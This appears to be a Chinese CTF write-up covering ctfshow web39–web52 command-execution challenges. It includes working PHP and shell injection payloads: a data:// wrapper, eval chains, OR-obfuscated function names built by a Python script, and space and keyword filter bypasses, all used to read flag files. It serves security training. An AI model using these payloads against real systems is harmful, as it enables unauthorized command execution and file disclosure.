ctfshow web入门 命令运行 web39---web52

ctfshow web入门 命令执行

昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧

web39

在这里插入图片描述查看源代码
看到include了,还是包含(其实不是)

源代码意思是当c不含flag的时候把c当php文件运行

php伪协议绕过php文件执行
data://text/plain 绕过执行php,然后构造一个我们真正想要执行的php

构造payload:

?c=data://text/plain,<?= system("cat fl*");?>

在这里插别忘记加php入图片描述别忘记加http://

web40

第一种方法

查的可能使用的函数

localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素,并输出
highlight_file():输出(#对文件进行语法高亮显示。)
show_source():输出(#对文件进行语法高亮显示。)
print_r():“print_r可以输出stirng、intfloatarrayobject,

在这里插入图片描述过滤了很多符号,但是括号好像是中文的
在这里插入图片描述日常查看文件
在这里插入图片描述查看不了那就用我们上面查到的资料
在这里插入图片描述查看文件,到手

**?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars():该函数返回一个包含当前上下文中所有已定义变量的数组。next(get_defined_vars()):next()函数会将内部指针向前移动到数组中的下一个元素,并返回这个新指针指向的值。在这里,它获取并返回get_defined_vars()数组中的下一个元素,也就是下一个已定义变量。array_pop(...):array_pop()函数用于弹出数组的最后一个单元,并返回这个单元的值。在此处,它会从上一步获取的变量中移除并返回最后一个元素(值)。eval(...):这是一个危险的函数,它可以将字符串作为PHP代码执行

说白话就是读文件的,读出来之后传命令

然后传POST (c=passthru(“tac flag.php”)😉

web41

法一

在这里插入图片描述
过滤了很多符号,但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇,查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如:%73==s

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成:("%13|%60")("%19|%60")("%13|%60")("%14|%60")...,因为这样在php语言中是不合法的

所以查看文件
不知道为什么system被禁了,根本查看不了,后面可以补法一如果我做出来之后
做出来了
在这里插入图片描述

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");

在这里插入图片描述

法二
import re
import requests
if __name__ == '__main__':url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/"		#题目地址a = []ans1 = ""ans2 = ""for i in range(0, 256):c = chr(i)tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)if tmp:continue# print(tmp.group(0))else:# 将不被过滤的字符加入a数组a.append(i)# eval("echo($c);");mya = "system"  # 函数名 这里修改!myb = "cat flag.php"  # 参数def myfun(k, my):global ans1global ans2for i in range(0, len(a)):for j in range(i, len(a)):if a[i] | a[j] == ord(my[k]):ans1 += chr(a[i])ans2 += chr(a[j])return;for k in range(0, len(mya)):myfun(k, mya)data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"ans1 = ""ans2 = ""for k in range(0, len(myb)):myfun(k, myb)data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"# [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-data = {"c": data1 + data2}print(data)r = requests.post(url=url, data=data)print(r.text)

web42

在这里插入图片描述由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上,而是被丢弃。
想让命令回显要进行分割

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符

构造最简单的?c=cat flag.php;

web43

在这里插入图片描述
cat和;都被 过滤
?c=ls%0a(查看)
在这里插入图片描述?c=tac flag.php%0a
在这里插入图片描述

web44

在这里插入图片描述flag过滤

?c=tac fl*%0a

在这里插入图片描述

web45

在这里插入图片描述貌似是还有空格也别绕过了,但是我会%09啊
而且Tab也可以用

?c=tac%09fl*%0a

在这里插入图片描述

web46

在这里插入图片描述数字也没了(最重要的通配符*也没了)
在这里插入图片描述

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a

web47

在这里插入图片描述过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈

?c=tac%09fla\g.php%0a

在这里插入图片描述

web48

在这里插入图片描述还是可以用上道题做的那个
在这里插入图片描述

web49

在这里插入图片描述还是没影响
在这里插入图片描述

web50

在这里插入图片描述还是没影响
试了一下不对,有影响因为我flag那里用来绕过的东西没了
过滤了%,所以我去查了一下怎么重新绕过空格
< 这个符号可以

?c=tac<fla''g.php||

在这里插入图片描述

web51

在这里插入图片描述tac绕过了用nl

?c=nl<fla''g.php||

在这里插入图片描述在这里插入图片描述

web52

在这里插入图片描述又想了新的一种空格替换${IFS}

?c=nl${IFS}fla''g.php||

构造ctfshow{flag_here},结果不对
那我们看一下目录
?c=ls${IFS}/|| (看根目录下面的文件)

在这里插入图片描述然后我们就直接看flag就行了
在这里插入图片描述看了个寂寞,但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
在这里插入图片描述?c=nl${IFS}/fla''g||

​ ​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600156.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Chatgpt掘金之旅—有爱AI商业实战篇|内容策展业务|(八)

演示站点&#xff1a; https://ai.uaai.cn 对话模块 官方论坛&#xff1a; www.jingyuai.com 京娱AI 一、AI技术创业内容策展业务有哪些机会&#xff1f; 人工智能&#xff08;AI&#xff09;技术作为当今科技创新的前沿领域&#xff0c;为创业者提供了广阔的机会和挑战。随着…

探索算力(云计算、人工智能、边缘计算等):数字时代的引擎

引言 在数字时代&#xff0c;算力是一种至关重要的资源&#xff0c;它是推动科技创新、驱动经济发展的关键引擎之一。简而言之&#xff0c;算力即计算能力&#xff0c;是计算机系统在单位时间内完成的计算任务数量或计算复杂度的度量。随着科技的不断发展和应用范围的不断扩大…

anylabeling使用和安装

源码地址&#xff1a; git clone https://github.com/vietanhdev/anylabeling.git Auto Labeling with Segment Anything Youtube Demo: https://www.youtube.com/watch?v5qVJiYNX5KkDocumentation: https://anylabeling.nrl.ai Features: Image annotation for polygon, r…

泛微OA 自定义多选浏览框

1、建模引擎-》应用建模-》表单 2、建模引擎-》应用建模-》模块 3、建模引擎-》应用建模-》查询 4、把查询页面挂到前端页面。 效果展示&#xff1a; 5、建模引擎-》应用建模-》浏览框 6、流程表单中字段应用

【数据结构与算法】力扣 19. 删除链表的倒数第 N 个结点

题目描述 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 示例 1&#xff1a; 输入&#xff1a; head [1,2,3,4,5], n 2 输出&#xff1a; [1,2,3,5]示例 2&#xff1a; 输入&#xff1a; head [1], n 1 输出&#xff1a; []示例…

React18从入门到实战

文章目录 一、React环境的搭建二、项目文件的介绍&#xff08;1&#xff09;package.json&#xff0c;他是项目存放依赖包的地方&#xff0c;里面包括了一些项目核心包及下载的其他插件包&#xff08;2&#xff09;src文件夹是项目源码目录&#xff0c;平时开发页面就在其中&am…

备考ICA----Istio实验17---TCP流量授权

备考ICA----Istio实验17—TCP流量授权 1. 环境准备 1.1 环境部署 kubectl apply -f <(istioctl kube-inject -f istio/samples/tcp-echo/tcp-echo.yaml) -n kim kubectl apply -f <(istioctl kube-inject -f istio/samples/sleep/sleep.yaml) -n kim1.2 测试环境 检测…

Prometheus-Grafana基础篇安装绘图

首先Prometheus安装 1、下载 https://prometheus.io/download/ 官网路径可以去这儿下载 2、如图&#xff1a; 3.解压&#xff1a; tar -xf prometheus-2.6.1.linux-amd64 cd prometheus-2.6.1.linux-amd64 4.配置文件说明&#xff1a; vim prometheus.yml 5.启动Promethe…

洪灏:市场修复性行情还没走完,黄金大涨的逻辑非常清晰……

“虽然3000点比2600点要高&#xff0c;但所面对的大环境比2600点要好很多。” 思睿集团首席经济学家洪灏在昨天&#xff08;3月28日&#xff09;的一场线上交流中&#xff0c;就美联储的降息节奏、金价屡创新高的原因&#xff0c;以及如何把握AI热潮下的投资机会等问题分享了自…

实践笔记-03 docker buildx 使用

docker buildx 使用 1.启用docker buildx2.启用 binfmt_misc3.从默认的构建器切换到多平台构建器3.1创建buildkitd.toml文件&#xff08;私有仓库是http没有证书的情况下&#xff0c;需要配置&#xff09;3.2创建构建器并使用新创建的构建器 4.构建多架构镜像并推送至harbor仓库…

C++模仿qq界面

#include "mywidget.h"MyWidget::MyWidget(QWidget *parent): QWidget(parent) {//设置窗口的大小this->resize(645,497);//设置窗口名字this->setWindowTitle("QQ");//设置窗口图标this->setWindowIcon(QIcon("C:\\zhouzhouMyfile\\qt_proj…

34470A是德科技34470A数字万用表

181/2461/8938产品概述&#xff1a; Truevolt数字万用表&#xff08;34460A、34461A、34465A、34470A&#xff09;利用是德科技的新专利技术&#xff0c;使您能够快速获得见解、测量低功耗设备并保持校准的测量结果。Truevolt提供全方位的测量能力&#xff0c;具有更高的精度、…